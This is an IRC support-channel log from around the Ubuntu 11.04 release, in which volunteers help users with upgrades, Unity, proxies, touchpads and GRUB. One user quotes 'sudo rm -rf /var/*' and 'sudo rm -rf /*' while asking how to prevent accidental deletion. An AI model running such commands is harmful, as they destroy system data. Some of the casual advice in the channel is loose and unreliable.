[09:20] <wolfreak> and you've tried recovery mode too?
[09:20] <Baskak> yes, no diff
[09:20] <wolfreak> the failsafe graphics mode in recovery mode?
[09:20] <Baskak> it doesn't reach the recovery mode menu
[09:21] <blackbit> but he does reach the grub item 'rescue mode' I guess
[09:21] <Dbugger> Hello. How can I add more workspaces in natty?
[09:21] <wolfreak> That's, strange.. I would go ahead and give it a reinstall, unless you already have. surely if it's a fresh install you haven't downloaded much to lose
[09:22] <Baskak> blackbit: ubuntu (...) 2.6.38-8-generic rescue mode (at least that's how it probably sounds in english)
[09:23] <Baskak> blackbit: trying again now
[09:23] <Baskak> wolfreak: it was an upgrade, not a fresh install
[09:23] <blackbit> baskak: upgrades are being a curse
[09:24] <Baskak> wolfreak: during my linux history i did some 20 fresh installs, and i am totally fed up
[09:24] <Quarterstaff> I keep getting the same error message whether I attempt to update by Terminal, synaptic or update manager. the message reads. E: The method driver /usr/lib/apt/methods/htt could not be found. Should I re-install?
[09:24] <blackbit> baskak: just be prepared in case something fail. have a burned ISO of the 11.04, backup of data, home and so on...
[09:24] <wolfreak> I understand how you feel. I created a new partition for my home and usr since I reinstalled it so much.
[09:26] <wolfreak> so rather than losing my files and whatnot, it just reset the system files, excluding my home folder and application files.
[09:26] <ActionParsnip> wolfreak: your backups will prevent data loss
[09:26] <Baskak> blackbit: sorry, it doesn't seem an option for a workstation... maybe for testing alphas and betas. i need to repair. update: now the system loops on "failed to enumerate usb device..."
[09:27] <wolfreak> @ActionParsnip Yeah I know, but I mean like when you go reinstalling ubuntu you have to format the partition, so I have a dedicated partition to my home folder. :P
[09:28] <wolfreak> @Baskak, try posting a post on http://reddit.com/u/ubuntu
[09:29] <Baskak> wolfreak: thanks, you think no appropriate expert here?
[09:29] <Baskak> or try again here another time?
[09:30] <blackbit> baskak, try ubuntu forums and google, I bet the online community will be able to help you
[09:30] <wolfreak> No some are experts here, but it's night at the US and other places.
[09:30] <Baskak> wolfreak: ps. this address http://reddit.com/u/ubuntu is wrong...
[09:30] <wolfreak> http://reddit.com/r/ubuntu that's it, sorry haha.
[09:30] <Baskak> wolfreak: i see :)
[09:31] <Baskak> thx
[09:31] <wolfreak> don't try ubuntuforums, they don't ever help, they just leave you hanging then mark you solved even tho it wasn't. use linuxforums.
[09:31] <Baskak> thanks for advice and concern anyway :)
[09:32] <wolfreak> @baskak but yeah I'd go ahead and make a post on reddit, that's a very popular site and you'll be sure to have quite a few replies inthe morning =]
[09:32] <ActionParsnip> wolfreak: if you drop the @ symbol it will highlight the text
[09:33] <ActionParsnip> wolfreak: the drive can still fail, then no manner of seperate partitioning will save you
[09:33] <usalabs> To remind everyone, there is a bug in Natty seahorse that prevents uploading an SSH key to remote server, it has been reported
[09:34] <wolfreak> what do you mean highlight? lol.
[09:34] <wolfreak> and I know i can lose my stuff but I do back it up once every month or so.
[09:34] <wfstgfds> hi
[09:35] <blackbit> wolfreak: just use 2 hard disks in raid :)
[09:35] <blackbit> or simply 2 hard disks manually mirrorer
[09:35] <andeeeuk> hi everyone
[09:36] <wolfreak> I'm not that concerned about my data.all I really do is use firefox, listen to music on grooveshark, and download porn. I'm not like running a server or anything lol
[09:36] <andeeeuk> is it possible to edit the panel at the top and also the menu?
[09:36] <jatt> andeeeuk: no, it's not possible to edit the top panel in unity
[09:37] <andeeeuk> jatt ok thanks
[09:37] <fardad> I don't have an ICEauthority file and I can't log in into gnome-shell, what should I do?
[09:37] <wolfreak> andeeeuk: not in unity, but if you log out, hit "ubuntu classic" at the bottom, you'll get the classic gnome look.
[09:37] <ActionParsnip> wolfreak: I guess, just warning :). Groovshark FTW
[09:37] <andeeeuk> jatt does that go for the menu also?
[09:37] <jatt> andeeeuk: yes, you cannot move it for example
[09:38] <andeeeuk> wolfreak yeah, I do like unity so was going to stick with it for a while
[09:38] <wolfreak> Your choice haha.
[09:38] <andeeeuk> jatt i know you cannot move it i was just thinking of transparency and stuff like that
[09:38] <andeeeuk> its all good
[09:39] <andeeeuk> was suprised how good unity was
[09:41] <usalabs> andeeeuk don't know what he's let himself in for lol, unity?, yeah right!, I use gnome classic and always will :)
[09:41] <ActionParsnip> usalabs: gone
[09:41] <fardad> how can I regenerate the .ICEauthority file?
[09:41] <ActionParsnip> fardad: did you delete yours?
[09:41] <kezzawd> usalabs: you are assuming that there will always be a 'gnome classic'
[09:41] <ReBoot> Hi guys.
[09:42] <ActionParsnip> hi ReBoot
[09:42] <wolfreak> ActionParsnip: haha heck yeah, if you have a GS account feel free to add me man, http://grooveshark.com/#/user/wolfreak/3512811?src=5
[09:42] <ReBoot> Am I at the right place asking technical questions about Ubuntu?
[09:42] <wolfreak> yup
[09:42] <fardad> ActionParsnip: I didn't have it in the first place
[09:42] <ReBoot> Nice.
[09:42] <ActionParsnip> wolfreak: nar I just use it, no account
[09:42] <serhat2> Hi. I am using Ubuntu 10.04, and I accidentally wrote "sudo rm -rf /var/*" and pressed enter. I had used sudo recently so it didnt ask for a password either, and the command ran for about 10 seconds till I woke up: )  So, How do I prevent executing commands like "sudo rm -rf /*" or with /usr/*   /var/* etc..  even with sudo ? thx..
[09:42] <fardad> ActionParsnip: And now it say can't update /home/username/.ICEauthority
[09:42] <ReBoot> So, I can't install it. Or I can, but not really. Let me explain.
[09:42] <fardad> ActionParsnip: s/say/says/
[09:42] <usalabs> well, if Ubuntu completely removes gnome, then it's time to move to either Mint, OpenSuse, or one of the others
[09:42] <ActionParsnip> fardad: its a standard file
[09:43] <ActionParsnip> fardad: try touching the file
[09:43] <fardad> ActionParsnip: tried it, still says can't update
[09:43] <ReBoot> The latest Ubuntu seems not to install the boot manager. I have Windows 7 installed, told Ubuntu to install side by side with 7, the installer runs through, at the end where I'm supposed to press Enter to restart, I press enter
[09:43] <ActionParsnip> usalabs: just use a different DE...
[09:43] <red2kic> serhat2: "sudo rm -rfi" -- Or add that to your alias so bad things don't always happen to nice people.
[09:43] <ReBoot> And after the reboot, there's no sign of Ubuntu at all. No boot manager, nothing.
[09:43] <helpmenowplease> hi. I have the black screen problem when upgrading from 10.10 to 11.04
[09:43] <red2kic> I took a big risk assuming you're a nice person though.
[09:43] <helpmenowplease> I've googled and found some misc solutions
[09:44] <helpmenowplease> is there some official solution/fix?
[09:44] <serhat2> is there a way to prevent that kind of misdeletion with SELinux or something?
[09:44] <usalabs> Reboot, try installing Ubuntu with wubi
[09:44] <ReBoot> Did it
[09:44] <ReBoot> The performance is horrible
[09:44] <ReBoot> I'd like to go native
[09:45] <ReBoot> I was also going to wipe Windows if Ubuntu meets my needs
[09:45] <ReBoot> So I'd like not to use Wubi
[09:45] <ActionParsnip> fardad: as far as I know, that should be generated when you first login
[09:46] <red2kic> ReBoot: Try Ubuntu LTS 10.04 if you want to go native. >_>
[09:46] <brandonc503> ActionParsnip: they can only manipulate files in there home directory as is, but they can see the entire file structure on computer
[09:46] <ReBoot> Can I upgrade from that to the latest Ubuntu then?
[09:46] <usalabs> ReBoot: you could try installing Ubuntu inside a virtual machine to try it out, using free VMware player
[09:46] <fardad> ActionParsnip: so there should be a problem with permissions?
[09:46] <red2kic> ReBoot: Sure. (Many people hate upgrades though).
[09:47] <ReBoot> Hm. Will try that later.
[09:47] <ReBoot> What's the downside of upgrading?
[09:48] <jatt> unity
[09:48] <th^^> new problems all over again
[09:48] <th^^> =)
[09:48] <helpmenowplease> anyone with 10.10->11.04 black screen problem fix?
[09:48] <th^^> jatt: not like it's forced or anything...
[09:48] <ActionParsnip> helpmenowplease: may help www.ubuntugeek.com/how-to-fix-ubuntu-10-04-lts-lucid-blank-screen-at-startup.html
[09:48] <ojii> how do I move a window to another workspace in unity? In 10.10 I'd just right-click->move to workspace X
[09:48] <helpmenowplease> thanks, will take a look
[09:50] <usalabs> ojii: right click the app title bar
[09:50] <ojii> usalabs, right click does nothing there
[09:51] <usalabs> mmm, I just tried it on Xchat title bar, and I have a selection of move to another workspace, and has a choice of 2,3,4
[09:51] <ActionParsnip> brandonc503: http://olivier.sessink.nl/jailkit/howtos_sftp_scp_only.html   maybe
[09:52] <bromium> dear colleagues, please help configure dansguardian with privoxy on lubuntu 10.10 - i've done accroding to howtos, but either privoxy isn't used or doesn't let me go through it. i suspect there arte problems with iptables rules
[09:52] <ma2> How do you run Terminal in English interface while i am using a locale other than English?
[09:53] <jatt> LANG=en_US.utf8 gnome-terminal
[09:53] <usalabs> ojii: if the app is full screen, then click the 3rd icon on the left of the title bar to come off full screen, then you should be able to right click the apps title bar
[09:54] <JenniferB2> After upgrading to 11.04, I have run into several issues.. first one was that the / would not mount and could not start the computer... now that Ive solved it, I am logged in but my gnome panel is gone.. and windows has no frame with X,...
[09:55] <popup> what's the besic differences of nautilus elementary?
[09:55] <blackbit> jeniffer82: what do you mean by no frame?
[09:55] <bromium> how to make lubuntu automatically connects to wi-fi network on my eee pc 701?
[09:55] <ojii> usalabs, wow that's *really* intuitive :(
[09:55] <ActionParsnip> bromium: you set it in network manager (or whatever app you use)
[09:56] <JenniferB2> blackbit: no window frame where the x (to close the window is ) ... also the gnome panel menus are gone
[09:56] <ActionParsnip> JenniferB2: press ALT+F2 and run:  metacity --replace
[09:56] <brandonc503> restrict SFTP to a user's home directory do i need a chroot enviroment, or can it be down with permissions?
[09:56] <JenniferB2> but those I have been able to start by running gnome-panel from console
[09:56] <usalabs> ojii: on the left of the title bar you have a red x, a minus and a squarre,,, click the square to come out of full screen
[09:56] <ActionParsnip> JenniferB2: that bit is called the window decorator
[09:56] <llutz_> brandonc503: you'll need a chroot
[09:56] <JenniferB2> ActionParsnip: thanks...
[09:57] <JenniferB2> will I have to do that everytime I start the computer ?
[09:57] <blackbit> jeniffer82: of course not. If something didn't went well after upgrade (common occurrence) then burn an iso of 11.04, backup your data and do a fresh install
[09:57] <ActionParsnip> JenniferB2: seems you ae having issue with compiz, do you use an nvidia video chip?
[09:57] <ojii> usalabs, I know how to get out of full screen mode (I prefer double-rightclick), I just find it really odd that I have to do that to move it to another workspace, ideally I'd be able to drag it but maybe that's asking too much
[09:57] <ActionParsnip> blackbit: probably not needed, lets see
[09:58] <JenniferB2> ActionParsnip: yes..
[09:58] <bromium> ActionParsnip: thanks, u'r right. it was simple & done
[09:58] <ultimatecoolstar> .
[09:58] <ActionParsnip> JenniferB2: uninstall the nvidia driver and reboot, then install it again and it may be better. Proprietary drivers aren't very good when people change release and they usually come round when you boot to the new kernel branch and install them
[09:59] <bromium> can sill anybody help me with privoxy? my comp is connected to a wi-fi network (i'm using a wifi router). i wnat to set up on my kids' comp privoxy and dansguardian. but no success so far
[09:59] <usalabs> ojii, I just tried the drag method it works, but only if the app is windowed
[09:59] <ojii> usalabs, didn't for me :(
[10:00] <ojii> guess I'll just stick to single-workspace mode
[10:00] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[10:00] <mutante> Whats the way to go to update php-gd ? I need a newer GD, but i dont necessarily need to touch the PHP version itself...
[10:00] <maxillusionist> what is this called privoxy should i google it
[10:00] <maxillusionist> coz i have not used such things
[10:00] <kellnola> it's a proxy.
[10:00] <maxillusionist> ok kellnola
[10:00] <ojii> also, is there any hack out yet to move the damn 'unitybar'? I have a 4 screen setup + synergy. now the bar is in the middle of my screens and hard to 'activate'
[10:00] <kellnola> bromium, what is the problem? been a while since I used it, but it's pretty basic ...
[10:01] <bromium> well, i've read articles and manuals accroding to them squid is slower than privoxy
[10:01] <dxdemetriou> can I have the old-per-window-menubar back in unity to be the default? (http://brainstorm.ubuntu.com/idea/27688/)
[10:01] <bromium> the problem i doesn't work
[10:01] <kellnola> bromium, hmm. privoxy is not the heavyweight program squid is ... it might be faster for a little lan
[10:01] <bromium> looks like i've got to set up iptables, too. done as in manuals - no connection, no internet or no proxibiting bad sites
[10:01] <tuhin> my usb to ps2 mouse+keyboard converter sometimes dont work , but works after restart. Is there any command to re-caliberate/reinstall certain usb keyboard/mouse without restarting computer?
[10:02] <maxillusionist> kellnola it is squid proxy then bromium wats the prob
[10:02] <usalabs> ojii, click on the workspace switcher, then drag the windowed app across to a workspace,, it works for me that way too
[10:02] <eevar> my dist-upgrade is currently "installing the upgrades", and lists "About 15 hours remaining". top/vmstat output here: http://pastebin.com/56Cp9hd1 -- any suggestions?
[10:02] <ActionParsnip> tuhin: could try removing then reloading the modules, it would need a keyboard though...
[10:02] <tuhin> i m on laptop
[10:02] <kellnola> bromium, but squid is simple enough to configure with dansguardian
[10:03] <tuhin> but use external keyboard, mouse and monitor  ActionParsnip
[10:03] <eevar> the disk does seem very slow most of the time. crappy laptop
[10:03] <bromium> i need privoxy only for a local machine to make it work with dansquardian
[10:03] <maxillusionist> bromium could you tell me why u need privoxy
[10:03] <ojii> ah thanks usalabs, still seems a bit too hard for such a trivial task, but that's nicer
[10:03] <usalabs> glad I could help
[10:03] <kellnola> bromium, my brief experience with privoxy about ten years ago was that it is flaky
[10:03] <bromium> kellnola: privoxy is also simple in settings, but nothing works. i even tried tinyproxy. looks like i'm doing something wrong. i suspect i can't setup iptables correctly
[10:04] <bromium> ok, any suggestions? i know that privoxy works as an adblock, too. what i need is a lightweight simple solution for parental control
[10:04] <Mrokii> Can somebody tell me how I can use indicators in 11.04 (adding them to the menubar)? I don't seem to find anything about it.
[10:04] <kellnola> bromium, yes, well when you're doing things like this it's best to disable the firewall temporarily until you get everything working
[10:04] <bromium> but this seems to be a pain in the ass on ubuntu
[10:04] <bromium> tried several things, though
[10:05] <jatt> Mrokii: which indicators?
[10:05] <bromium> firewall? what firewall i'm not using any unless there's a preinstalled one in lubuntu
[10:05] <kellnola> bromium, you mentioned iptables
[10:05] <mutante> bromium: iptables -vL should show you counters, like how many packets are actually filtered by the rules.. you can start that, try doing stuff, and watch the counters changing,, so you know if its that or not
[10:06] <maxillusionist> firewall is already installed with it
[10:06] <kezzawd> Mrokii: if you apt-cache search indicator you'll see a number of packages that yopu can install to give you indicators - there are also a number of ppa's for third party indicators at http://bit.ly/mTLbRa
[10:06] <maxillusionist> with all linux
[10:06] <JenniferB2> blackbit: yes.. but the problem with an approach like that I usually all the config files in various places will eb lost ... it is never that simple ..
[10:06] <ActionParsnip> bromium: there is but its unconfigured so lets everything in and out
[10:06] <Arney> Throttleling seems to be broken in my computer.
[10:06] <Mrokii> jatt, kezzawd: the problem is not "installing" but actually "using" them. I have installed a sysmonitor-indicator but I don't know how I can make it show up.
[10:06] <ActionParsnip> bromium: well, by default anyway
[10:07] <usalabs> ojii: you can also use the same method for full screen apps too
[10:07] <maxillusionist> wat is that called throttle in linux
[10:07] <ojii> oh nice
[10:07] <Arney> My computer runs fine when it is plugged, but lags its shit off when its running on battery.
[10:07] <jatt> Mrokii: you mean applets? like weather or system monitor applet?
[10:07] <Fahmida> Hi, where does Ubuntu temporarily store videos from Youtube and similar sites?
[10:07] <Mrokii> jatt: Aren't they called indicators in 11.04?
[10:07] <kellnola> Fahmida, /tmp I believe
[10:07] <ojii> usalabs, thanks a lot, that's how i want it ;-)
[10:07] <Mrokii> jatt: And yes, that is what I mean.
[10:08] <Arney> Mrokii: where do I adjust those
[10:08] <maxillusionist> fahmida it is in temp i guess
[10:08] <kezzawd> Mrokii: just search for it as an application and execute
[10:08] <maxillusionist> go to file manager then to temp
[10:08] <jakeriver> .
[10:08] <usalabs> ojii: yw
[10:08] <Fahmida> kellnola maxillusionist: Yeah, it was in /temp at first, but currently I see nothing in directory. :S
[10:08] <Mrokii> kezzawd: okay, I will try that, thanks.
[10:08] <Arney> How can I make my comp go hard core all the way?
[10:08] <Fahmida> Sorry, /tmp
[10:08] <Mrokii> Arney: That was my question :)
[10:09] <kellnola> Fahmida, make sure you do "ls -a" or enable viewing hidden files in nautilus
[10:09] <bromium> so in order to run a browser through proxy just changing browser settings doesn't work
[10:09] <NAAAAWW> yt
[10:09] <maxillusionist> fahmida u doewnloaded those with firefox ??
[10:09] <Mrokii> kezzawd: Thank you! That worked. Not too intuitive method though, but oh well.
[10:10] <NAAAAWW> My computers batery last longer in windows then in Ubuntu (Linux) Why is that?
[10:10] <Fahmida> kellnola: I did perform ls -a, nothing. maxillusionist: yeah.
[10:10] <maxillusionist> bromium have u tried foxyproxy
[10:10] <ActionParsnip> bromium: you can export the variables http_proxy and ftp_proxy and it should be ok, there's also the proxy app in preferences which may help too
[10:10] <NAAAAWW> Why does ubuntu drains my batery ? :(
[10:10] <kezzawd> Mrokii: np - like you say, not too intuitive
[10:11] <Flannel> NAAAAWW: Because using your computer drains your battery.
[10:11] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[10:11] <jibadeeha> Flannel, :)
[10:11] <NAAAAWW> I get about 5-8 hours on windows and 3-6 hours on ubuntu :(
[10:12] <maxillusionist> then could u see where firefox did the download just go to edit >preference>general easy fahmida
[10:12] <Hukka> Something happened, and my ipv6 setup broke at home. I'm using Hurricane Electric with freebsd end tunnel here. The tunnel can ping any ipv6 address, and my Ubuntu laptop is getting right ipv6 address, but is unable to ping anything else than link local addresses. Any hints?
[10:12] <bromium> i don't think i have to look at anoither server cause the problem in setting, imho. on lubuntu there is no an applet to change proxy setting for chromium, i change it form the command line, and it seems to be fine. still don't understand why i enter internet bypassing the privoxy
[10:13] <NAAAAWW> Does anyone know any way to get longer standby time in ubuntu... Like disable wlan, bluetooth etc
[10:13] <Fahmida> maxillusionist: It is not like that I think. I just watched that video, didn't download it. I watched with Firefox.
[10:13] <Arney> Mrokii: How did you fix the clock of your comp?
[10:14] <Fahmida> maxillusionist: In past, when I used to watch videos from those kind of site, Ubuntu stored it in /tmp
[10:14] <Fahmida> maxillusionist: but currently, I see nothing in that directory. So, I am wondering where it is getting stored.
[10:14] <usalabs> If anyone is interested and wants to auto hide the unity side bar, this site explains how:- http://maketecheasier.com/autohide-unity-launcher-in-ubuntu-natty/2011/04/20
[10:15] <ActionParsnip> Fahmida: use a browser addon/extension
[10:15] <NAAAAWW> I'm going to reinstall my Linux install and use Wubi to install Ubuntu, Witch version of Ubuntu is the best?
[10:15] <bullgard4> NAAAAWW:  There is a program available in Ubuntu made by Intel to analyze the power consumption of Linux computers. Get it installed. Analyze the power consumption of the components. Then read about ACPI and what you can do about it.
[10:15] <Mrokii> Arney: I didn't have any problems with the clock. What are you talking about?
[10:15] <Fahmida> ActionParsnip: I can, but I like that way.
[10:15] <Fahmida> ActionParsnip: Actually, I have one. ;)
[10:17] <NAAAAWW> What is the diffrence between Ubuntu and Ubuntu Netbook? Does a acer laptop with 500 gb harddrive, 4 gb ram, 1.3 gb Pentium Dualcore processor run best with ubuntu or ubuntu netbook?
[10:18] <jatt> ubuntu
[10:18] <jibadeeha> NAAAAWW, ubuntu
[10:18] <NAAAAWW> okey, and what is the diffrence?
[10:18] <Exposure> deadkeys got enabled after natty upgrade, how do I disable it?
[10:18] <ActionParsnip> NAAAAWW: its just the gui which is different, you can use either
[10:18] <sunit> I am trying to run the  cron job */10 *  *   *   *   ${installdir}/MagentoCreate/magentocreate.sh > /tmp/magentocreate.log 2>&1
[10:19] <NAAAAWW> Okey, I will download ubuntu 11.04 - desktop ... with Wubi :)
[10:19] <llutz_> NAAAAWW: netbook was "optimized" for low resolution displays
[10:19] <sunit> but I am getting error in log file as opt/backup/execute/02056/MagentoCreate/schedule.sh: 1: */10: not found
[10:19] <NAAAAWW> Thanks for your help :)
[10:19] <NAAAAWW> Cya
[10:20] <bullgard4> Exposure: System > Preferences > Keyboard > Layouts
[10:21] <usalabs> Fahmida: firfox stores video and temp files in it's own cache folder located at /home/user/.mozilla/firefox/<a bunch of random letters.default>/Cache
[10:22] <Fahmida> usalabs: I see lots of folders named 1 2 3 4 5 A F D H ...
[10:23] <Fahmida> In which one? Or I have to check 'em all? :S
[10:23] <usalabs> Fahmida: check them all
[10:23] <ActionParsnip> Fahmida: http://ubuntuforums.org/showthread.php?t=547848
[10:24] <tasslehoff> Ubuntu is close to excellent on my MacBook Pro, but the Norwegian Layout is wrong. Which forum/channel should I post/talk to if I want to help this? Don't think I have the time/skills to do it on my own, but I can at least describe what's wrong :)
[10:25] <Fahmida> usalabs: I see 30/40 folders in each one. :(
[10:25] <usalabs> ActionParsnip: that link is not firefox specific, and assumes all browsers store their temp files in /tmp, but FF doesn't
[10:25] <maxillusionist> see in usr folder
[10:25] <maxillusionist> only
[10:25] <Fahmida> It becomes impossible to check for one single video. :S
[10:26] <kezzawd> tasslehoff: which mbp model do you have ?
[10:26] <tasslehoff> kezzawd: 6.2
[10:26] <usalabs> Fahmida: if you know the name of the video, you could try using a terminal and type sudo find / -name <video name>
[10:27] <kezzawd> tasslehoff: OK - thanks - I have a 7.1 but can't get Ubuntu to install on it
[10:27] <frogarmor> Hi. I'm trying to open some old text files from 1993 in Gedit. It's complaining about character encoding and not displaying anything.
[10:27] <frogarmor> i remember opening this file on windows just fine..
[10:28] <ActionParsnip> frogarmor: save the file as a different filename and it may help
[10:28] <aLeSD> someone know how could I deactivate the load of gnome-panel at startup ?
[10:28] <ActionParsnip> frogarmor: you may need to use dos2unix to make them ok
[10:28] <ActionParsnip> !info dos2unix
[10:28] <ubottu> dos2unix (source: dos2unix): convert text file line endings between CRLF and LF. In component universe, is extra. Version 5.1.1-2 (natty), package size 39 kB, installed size 224 kB
[10:28] <susundberg> thats not the case if it complains about character encoding
[10:29] <llutz_> !info iconv
[10:29] <ubottu> Package iconv does not exist in natty
[10:29] <vak> How to get Eclipse and its icon pinned to Launcher in Ubuntu Unity?
[10:29] <frogarmor> ActionParsnip: Thanks I'll look for that.
[10:29] <llutz_> susundberg: use "iconv" (from libc-bin package)
[10:29] <maxillusionist> fellas it is text files ok nothing technical
[10:29] <susundberg> i guess problem is that it has some weird encoding -- "What Windows terminology calls "ANSI encodings" are usually single-byte ISO-8859 encodings, except for in locales such as Chinese, Japanese and Korean that require double-byte character sets."
[10:29] <Fahmida> usalabs: Is there a graphical search panel?
[10:30] <usalabs> vak: open Eclipse and in the launcher, right click Eclipse and check the option 'Keep in Launcher"
[10:30] <vak> usalabs: it doesn't work any well
[10:31] <gedO> Hey guys
[10:31] <maxillusionist> hi
[10:31] <gedO> II have problem with touchpad
[10:31] <vak> usalabs: 1. after the logoff-login it disappears
[10:31] <Garry> hi everyone! Can somebody help me.How to convert avi to mp3
[10:31] <maxillusionist> what prob
[10:31] <gedO> It dosn't working after log in
[10:31] <gedO> I'm using 11.04
[10:31] <maxillusionist> garry use vlc
[10:31] <vak> usalabs: 2. I can't assign the correct icon (the question mark is shown instead)
[10:31] <gedO> Any Idea how to fix this??
[10:32] <Garry> maxillusionist. oh yeah let me try. Cheers
[10:32] <tuhin> i m on laptop, but use external keyboard, mouse and monitor  ,   my usb to ps2 mouse+keyboard converter sometimes dont work , but works after restart. Is there any command to re-caliberate/reinstall certain usb keyboard/mouse without restarting computer?
[10:32] <usalabs> vak: open your apps icon in the launcher, find Eclipse and drag the icon to the launcher
[10:32] <maxillusionist> try and tell garry
[10:33] <gedO> Hey guys. I'm having problem with my touchpad. After log in it dosn't works, but until I log in it works perfectly. any idea hoe to fix?
[10:33] <gedO> how/
[10:33] <gedO> how*
[10:33] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[10:33] <vak> usalabs: thanks for the tip about the icon, gonna try it! But what about disappearing of pinned application after logoff/login?
[10:34] <maxillusionist> ged0 install the latest driver
[10:34] <gedO> maxillusionsit: How?
[10:34] <gedO> maxillusionsit: How I can get them?
[10:34] <usalabs> vak: not sure of that one, but I tried the drag method, and the icon stays in the launcher after loggoff/logon
[10:34] <dijonyummy> is there a way to install a package, say with apt-get, or synaptic, or aptitude but also have it add an icon to the gnome app panel?
[10:34] <maxillusionist> first download them ged0
[10:34] <ElvisWang> I have the same problem with you. Touch pad powered by Synaptics
[10:35] <ejv> dijonyummy: most popular apps will populate the app list with an icon
[10:35] <gedO> maxillusionsit: From where?
[10:35] <usalabs> Fahmida: click on the circle above the launcher and click on 'Find Files' icon
[10:36] <ElvisWang> I don't think it is the problem of the driver
[10:36] <ElvisWang> The kernel I think
[10:36] <ejv> why don't you start by providing some vendor/model information
[10:36] <ejv> the help you get is only as good as the detail you provide.
[10:36] <dijonyummy> even apt-get, ok, i see, so its the apps fault, thanks
[10:37] <jetienne> q. is it possible to install ubuntu 11.04 on virtual box ?
[10:37] <ejv> jetienne: of course.
[10:37] <jetienne> ejv: any doc on it ? my install is stuck
[10:37] <ojii> for some reason the interface language in my login screen is in japanese, but after I login everything is in English (as it should be), how can I change/fix the language in my login screen?
[10:37] <jetienne> ejv: have you tried to install it ?
[10:38] <ejv> jetienne: i suggest joining #vbox for support
[10:38] <Guest54795> why is it the color of my movie is different
[10:38] <jetienne> ejv: hehe
[10:38] <jetienne> anybody tried to install 11.04 in virtual box ? how to get it thru ?
[10:39] <maxillusionist> jet i guess you have not tried vbox LOL
[10:39] <maxillusionist> ever LOL
[10:39] <ejv> jetienne: type /join #vbox
[10:39] <jetienne> ejv: i understood what you meant
[10:39] <jetienne> ejv: right now i need help on ubuntu. so i ask here
[10:39] <ejv> ubuntu doesn't support virtualbox. it's offtopic here.
[10:40] <jetienne> ejv: this is ok if you dont wanna help
[10:40] <jetienne> ejv: and installing ubuntu is ontopic
[10:40] <maxillusionist> i have used vbox in win but not in ubuntu
[10:40] <jetienne> maxillusionist: to install 11.04 ? any special option ?
[10:41] <maxillusionist> u mean what ??
[10:41] <jetienne> maxillusionist: you said you used virtual box on win, did you try to install ubuntu 11.04 with virtual box ?
[10:41] <KM0201> jetienne: if you're putting it in vbox, i would download the alternate cd ISo...... since vbox doesn't support 3D out of the box.. a lot of people had trouble using the Live ISO in vbox (during the beta, not sure if thats changed)
[10:42] <maxillusionist> no dude i have not downloaded it LOL
[10:42] <maxillusionist> it is still beta version i guess
[10:42] <KM0201> maxillusionist: no, 11.04 is fina;
[10:42] <KM0201> l
[10:42] <maxillusionist> what is the download size
[10:42] <jetienne> KM0201: ok... this is for the install... once it is installed with the alternate cd, is it possible to run it (even with the 3D issue) ?
[10:43] <jetienne> maxillusionist: 700mbyte
[10:43] <usalabs> maxillusionist: I prefer to use the free VMware player it has a lot more features than vbox
[10:43] <KM0201> jetienne: as far as i know.. yes... because once you get tot he sign on screen (don't set auto login) you can choose to default to gnome classic.
[10:43] <jetienne> KM0201: oh ok
[10:43] <maxillusionist> uselabs i personally use vmware workstn LOL
[10:43] <KM0201> usalabs: thats not gonna help his problem, vmware player doesnt support 3D any better than vbox.
[10:43] <jetienne> KM0201: so the rewritten X requires 3D cards....
[10:44] <jetienne> KM0201: anyway to try the new ubuntu without dedicating a computer to it ?
[10:44] <KM0201> jetienne: for now, because the live CD (at least in my experience.. and thus why so many folks are having trouble w/ live cds) doesn't default to a 2D desktop yet, if 3D desktop fails.
[10:44] <maxillusionist> vmware player needs and virtual machine to play
[10:44] <KM0201> jetienne: well, there's virtualbox, if your computer has the juice for it.
[10:44] <usalabs> when I use VMware player, I have played a windows 3D game (need for speed) with no problems
[10:45] <usalabs> VMware player can create a VM, one doesn't need the workstation
[10:45] <KM0201> jetienne: have you tried booting the live CD?
[10:45] <mah454> I need libpoppler7 for naty .
[10:45] <mah454> I need libpoppler7 for naty .
[10:45] <jetienne> KM0201: hmmm maybe miscommunication... you said 'unity' stuff requires 3D card and that vbox doesnt support 3D cards... so how could i use vbox
[10:45] <maxillusionist> yeah now one can do that userlabs
[10:45] <jetienne> KM0201: live cd == dedicating a computer to it in my words
[10:45] <kellnola> vbox supports 3D. Don't know how well
[10:45] <KM0201> jetienne: by doing what i said, using the alternate cd to install in vbox, then booting the 2d desktop
[10:46] <KM0201> jetienne: no, thats not what it means.. live cd, means booting the OS from the cd, and running it from the CD
[10:46] <kellnola> this whole "requiring 3D" was an enormous mistake
[10:46] <jetienne> KM0201: and '2D desktop' = gnome ?
[10:46] <KM0201> jetienne: yes.. 2d-  as of now, = Gnome
[10:46] <jetienne> ah ok
[10:46] <jetienne> so i need a dedicated computer to install it
[10:47] <jetienne> or i can use ubuntu server
[10:47] <KM0201> kellnola: i agree.. i'm thinking when 11.10 rolls around.. it'll have a default 2D fallback again
[10:47] <jetienne> KM0201: ok thanks for the help
[10:47] <KM0201> jetienne: why do you keep saying you need a dedicated computer?.. you don't
[10:47] <maxillusionist> yeah jet why not
[10:47] <skiwithpete> hi, I've removed ubuntu from a computer I want to sell, but grub continues to load
[10:47] <skiwithpete> how do I get rid of grub?
[10:47] <jetienne> KM0201: just wording i guess
[10:47] <maxillusionist> erase the hdd
[10:47] <KM0201> skiwithpete: you need to rebuild the mbr of your machine...
[10:47] <maxillusionist> easy
[10:48] <kellnola> skiwithpete, it's on the MBR
[10:48] <mah454> add-apt-repository ppa:gloobus-dev/covergloobus
[10:48] <kellnola> skiwithpete, any other OS will overwrite that
[10:48] <mah454> excuse me ... !
[10:48] <skiwithpete> how do I rebuild the mbr - its a netbook so I don't have the windows CD
[10:48] <KM0201> !dualboot | jetienne you don't need to dedicate a machine to ubuntu
[10:48] <ubottu> jetienne you don't need to dedicate a machine to ubuntu: Dual boot instructions: x86/AMD64: https://help.ubuntu.com/community/DualBoot/Windows - Macs: https://help.ubuntu.com/community/MacBookPro https://help.ubuntu.com/community/YabootConfigurationForMacintoshPowerPCsDualBoot
[10:48] <maxillusionist> boot from pendrive and erase the HDD sliwithpete
[10:48] <skiwithpete> PS I don't have the CD, so I want to start using XP which is on the HDD
[10:48] <KM0201> jetienne: no.. its not impossible, you just can't do 3D(out of the box anyway).. .big difference
[10:48] <zvacet> skiwithpete: http://members.iinet.net.au/~herman546/p18.html#MbrFix.exe
